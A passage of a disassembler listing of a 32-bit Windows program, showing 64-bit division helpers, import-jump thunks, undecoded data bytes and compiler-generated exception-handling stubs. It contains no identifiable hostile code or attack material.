		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_436840	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 0EAh, 0Dh
		dd 0E9907781h, 777E6714h, 91F4E990h, 0C9E97780h, 7B778111h
		dd 35F0E990h, 0E9907780h, 7781108Ch, 5B6DE990h,	3D83777Fh
		dd 50E9D4h, 0FF0C75FFh,	90042474h, 7FE54BE8h, 68C35977h
		dd 50E9C4h, 50E9D468h, 2474FF00h, 310E80Ch, 0C4830000h
		dd 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h
		dd 593DE990h, 0E990777Fh, 778008D8h, 8E9E990h
		db 80h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4368EA	proc near		; CODE XREF: sub_4198C0+28p
		jmp	near ptr 77C4FA10h
sub_4368EA	endp

; ---------------------------------------------------------------------------
		db 8Dh

; =============== S U B	R O U T	I N E =======================================



sub_4368F0	proc near		; CODE XREF: sub_41B820+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_436911
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_436961
; ---------------------------------------------------------------------------


loc_436911:				; CODE XREF: sub_4368F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_43691F:				; CODE XREF: sub_4368F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_43691F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_43694A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_43694A
		jb	short loc_436952
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_436952


loc_43694A:				; CODE XREF: sub_4368F0+4Aj
					; sub_4368F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_436952:				; CODE XREF: sub_4368F0+52j
					; sub_4368F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_436961:				; CODE XREF: sub_4368F0+1Fj
		pop	ebx
		retn	10h
sub_4368F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436970	proc near		; CODE XREF: sub_41B820+30p
					; sub_41B820+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436992
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4369D3
; ---------------------------------------------------------------------------


loc_436992:				; CODE XREF: sub_436970+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4369A0:				; CODE XREF: sub_436970+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4369CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4369CE
		jb	short loc_4369CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4369CF


loc_4369CE:				; CODE XREF: sub_436970+4Ej
					; sub_436970+54j
		dec	esi


loc_4369CF:				; CODE XREF: sub_436970+56j
					; sub_436970+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4369D3:				; CODE XREF: sub_436970+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436970	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0D3h, 0A0h
		dd 0E9907780h, 7780862Ch, 811478E9h, 87E9C777h,	0E17780A4h
		dd 0A805E990h, 0E9907780h, 7780AB78h, 0A99AE990h, 0E9907780h
		dd 7780AD33h, 11D2E990h, 0E9907781h, 7780B15Eh,	84DCE990h
		dd 0E9907780h, 7780A3F3h, 569DE990h, 0E990777Fh, 777E5B35h
		dd 3C0E990h, 0C3E97780h, 46778007h, 7E887FE9h, 0EEE99C77h
		dd 0C77808Eh, 0AE20E990h, 0E9907780h, 7780398Bh, 38B1E990h
		dd 0E9907780h, 778126B7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436A5C	proc near		; CODE XREF: ___:0043168Cp
		nop
		jmp	near ptr 77C3619Ch
sub_436A5C	endp

; ---------------------------------------------------------------------------
		dw 0DE9h
dword_436A64	dd 7B778003h, 0A143E990h, 0A06C7780h, 2DABB33Ch, 5626025Ch
		dd 4C13B1E7h, 0A164D2h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FE8DCh
		dd 0D835990h, 50E9C4h, 0D40D83FFh, 0FF0050E9h, 8725E890h
		dd 0D8B777Eh, 50E8D8h, 0E8900889h, 777E86E0h, 0E8D40D8Bh
		dd 8890050h, 50FA1CA1h,	0A3008B00h, 50E9B8h, 12EE8h, 0F01D3900h
		dd 7500446Ch, 6C08680Ch, 86E80043h, 9077816Bh, 0FAE859h
		dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8D0A100h, 45890050h
		dd 94458D94h, 0CC35FF50h, 8D0050E8h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h
		dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22C95CBh, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	243B163h
		dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0CFE88875h, 90778032h, 0AC96E990h, 7AE9777Eh, 80777FE2h
		dd 32BCE990h, 0CBE97780h, 67777FC1h, 8301E990h,	0E990777Eh
		dd 77803177h, 3000068h,	6800h, 25E80001h, 59000000h, 0E990C359h
		dd 77816A6Dh, 0C3C3C033h, 8592E990h, 0C4E9777Eh, 4E777E85h
		dd 7FE75FE9h, 0E9901377h, 777FF070h, 8205E990h,	3CE97781h
		dd 0E875C697h, 9819E990h, 0E99075C6h, 75C5B3F2h, 8843E990h
		dd 0E99075C5h, 75C697E8h, 0B319E990h, 0E99075C4h, 75C54BF8h
		dd 0C60A56E9h, 85E92A75h, 0FF75C4EEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436C60	proc near		; CODE XREF: sub_4192C0+17Ep
		jmp	near ptr 76D6AC1Dh
sub_436C60	endp

; ---------------------------------------------------------------------------
		db 0A6h, 90h, 0E9h
		dd 2399B96h, 9C39E990h,	89E90239h, 2023A93h, 9899E990h
		dd 7DE9023Ah, 6F023B93h, 0A3E4E990h, 0E990023Bh, 23C9370h
		dd 3D936BE9h, 0BDE9E802h, 80023DA8h, 3DAA88E9h,	0E990E602h
		dd 23DAE81h, 3DB161E9h,	4DE91302h, 32023E93h, 9B41E990h
		dd 41E9023Eh, 0E023F93h, 933AE990h, 7BE90240h, 4602409Fh
		dd 932EE990h, 0E9900241h, 24195A4h, 9322E990h, 1DE90242h
		dd 71024393h, 0A48CE990h, 0E9900243h, 243B00Fh,	44930BE9h
		dd 35E9E802h, 1102449Ah, 9FB5E990h, 0E9900244h,	24592F8h
		dd 92F2E990h, 0E9900239h, 2389B7Ch, 92E6E990h, 0E1E90238h
		dd 0AE023792h, 369BBEE9h, 0E990BB02h, 23692D4h,	92CEE990h
		dd 0D7E90235h, 0E023499h, 34966DE9h, 0E990E802h, 23492BCh
		dd 339BD7E9h, 0E990DE02h, 22C92B0h, 95C0E990h, 7BE90233h
		dd 0FF023395h, 955BE990h, 0E9900233h, 7C4CA385h, 4CA298E9h
		dd 0E990027Ch, 233928Ch, 32A146E9h, 0DEE9DE02h,	0DE02329Ah
		dd 3298F1E9h, 0E9902802h, 2329865h, 9715E990h, 18E90232h
		dd 0BD023296h, 9465E990h, 0E9900232h, 232925Ch,	9EEDE990h
		dd 0E9900231h, 2319D46h, 319C35E9h, 0E9902802h,	2319830h
		dd 3197CEE9h, 0E9907602h, 2319238h, 30A129E9h, 0E9907602h
		dd 2309DCEh, 9C04E990h,	0E9900230h, 2309910h, 3096CFE9h
		dd 0E9901602h, 2309214h, 9B0DE990h, 0E990022Fh,	22F9AA9h
		dd 9403E990h, 0E990022Fh, 22F91FCh, 2E9E05E9h, 0E9907B02h
		dd 22E9A6Fh, 2E9308E9h,	0E5E95802h, 28022E91h, 9F19E990h
		dd 0AEE9022Dh, 16022D9Bh, 2D995EE9h, 0E9908002h, 22D91CCh
		dd 9309E990h, 7EE9022Ch, 4E001B33h, 94F3E990h, 7BE90245h
		dd 0A1024FA5h, 950CE990h, 0E990024Bh, 24F91A8h,	93DFE990h
		dd 9DE9024Eh, 28024E91h, 9196E990h, 0E990024Dh,	24C9AD4h
		dd 4C97F3E9h, 0E9905502h, 24C9506h, 4C917FE9h, 0E9903902h
		dd 24B9D95h, 4B9A26E9h,	0E990B802h, 24596E0h, 9166E990h
		dd 0E990024Bh, 24A9A0Ch, 95EBE990h, 0E990024Ah,	24A9154h
		dd 914EE990h, 0E9900249h, 2489148h, 0AD8CE990h,	59E90247h
		dd 0EB0247AAh, 47A84EE9h, 80E95002h, 4B0247A6h,	912AE990h
		dd 0E9900247h, 2469124h, 0A22EE990h, 0E9907C60h, 7167D059h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436EE8	proc near		; CODE XREF: ___:0042C8F1p
		jmp	near ptr 71AB4FD4h
sub_436EE8	endp

; ---------------------------------------------------------------------------
		db 7Bh,	0E9h, 86h
		dd 67716875h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EF4	proc near		; CODE XREF: sub_42C8E1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_436EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EFA	proc near		; CODE XREF: sub_42CC50+E5p
					; sub_42DC70+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_436EFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F00	proc near		; CODE XREF: sub_42D1A0+9Ap
					; sub_42DD50+45p ...
		jmp	near ptr 71AB428Ah
sub_436F00	endp

; ---------------------------------------------------------------------------
		db 0D9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F06	proc near		; CODE XREF: sub_42DFD0+53p
					; sub_42DFD0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_436F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F0C	proc near
		nop
		jmp	near ptr 71AC1028h
sub_436F0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F12	proc near		; CODE XREF: sub_42CE80+71p
					; sub_42DA60+50p
		jmp	near ptr 71AB2DC0h
sub_436F12	endp

; ---------------------------------------------------------------------------
		db 0F5h
		db 90h
		db 0E9h, 0A2h, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F1E	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_436F1E	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 3Ch, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F2A	proc near		; CODE XREF: sub_42D580+187p
		nop
		jmp	near ptr 71AB951Eh
sub_436F2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F30	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_436F30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F36	proc near		; CODE XREF: sub_42C810+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_436F36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F3C	proc near		; CODE XREF: ___:0042C93Fp
					; sub_42D580+152p
		nop
		jmp	near ptr 71AB3B91h
sub_436F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F42	proc near
		jmp	near ptr 71AB406Ah
sub_436F42	endp

; ---------------------------------------------------------------------------
		db 37h
		db 90h
		db 0E9h, 0DAh, 0D4h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F4E	proc near		; CODE XREF: sub_42C790+10p
		jmp	near ptr 71AB664Dh
sub_436F4E	endp

; ---------------------------------------------------------------------------
		db 3Ch
		dd 67E16FE9h
; ---------------------------------------------------------------------------
		jno	short near ptr word_436F82

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F5A	proc near		; CODE XREF: sub_4338B0+Bp
		jmp	near ptr 71AB94DCh
sub_436F5A	endp

; ---------------------------------------------------------------------------
		db 6Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F60	proc near		; CODE XREF: sub_41A6D0+92p
					; sub_41A8C0+CAp ...
		jmp	near ptr 71AB4544h
sub_436F60	endp

; ---------------------------------------------------------------------------
		retf	0E990h
; ---------------------------------------------------------------------------
		dd 71689BE4h, 0D5A7E990h, 49E97167h, 887167BCh,	67BD92E9h
		dd 0E9903471h
		db 0E5h, 0BCh
word_436F82	dw 7167h		; CODE XREF: ___:00436F58j

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F84	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_436F84	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 716817D9h, 0D4F3E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F96	proc near		; CODE XREF: sub_42C810+53p
					; sub_42C810+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_436F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F9C	proc near		; CODE XREF: sub_42DFD0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_436F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA2	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_436FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA8	proc near		; CODE XREF: ___:0041C1B7p
					; ___:0041C1CCp
		nop
		jmp	near ptr 71B2578Ch
sub_436FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FAE	proc near		; CODE XREF: ___:0041C30Dp
					; ___:0041C32Fp
		nop
		jmp	near ptr 71B25099h
sub_436FAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FB4	proc near		; CODE XREF: sub_41FF90+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_436FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FBA	proc near		; CODE XREF: sub_41FF90+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_436FBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FC0	proc near		; CODE XREF: sub_41FF90+21p
		jmp	near ptr 76BF3A9Ah
sub_436FC0	endp

; ---------------------------------------------------------------------------
		db 2Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC6	proc near		; CODE XREF: ___:0041B1B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_436FC6	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 7Ch, 0F2h
dword_436FD0	dd 0E9907780h, 7780F14Dh, 80F193E9h, 0E9905D77h, 7780F33Ch
		dd 2C7h	dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh,	8DFFFC97h
		dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_4367C8
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_437B7B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_4367C8
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_4367C8
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FC8:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_4367C8
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FF8:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_4367C8
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_4367C8
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438048:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_4367C8
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380C8:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_4367C8
SEH_403EE0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
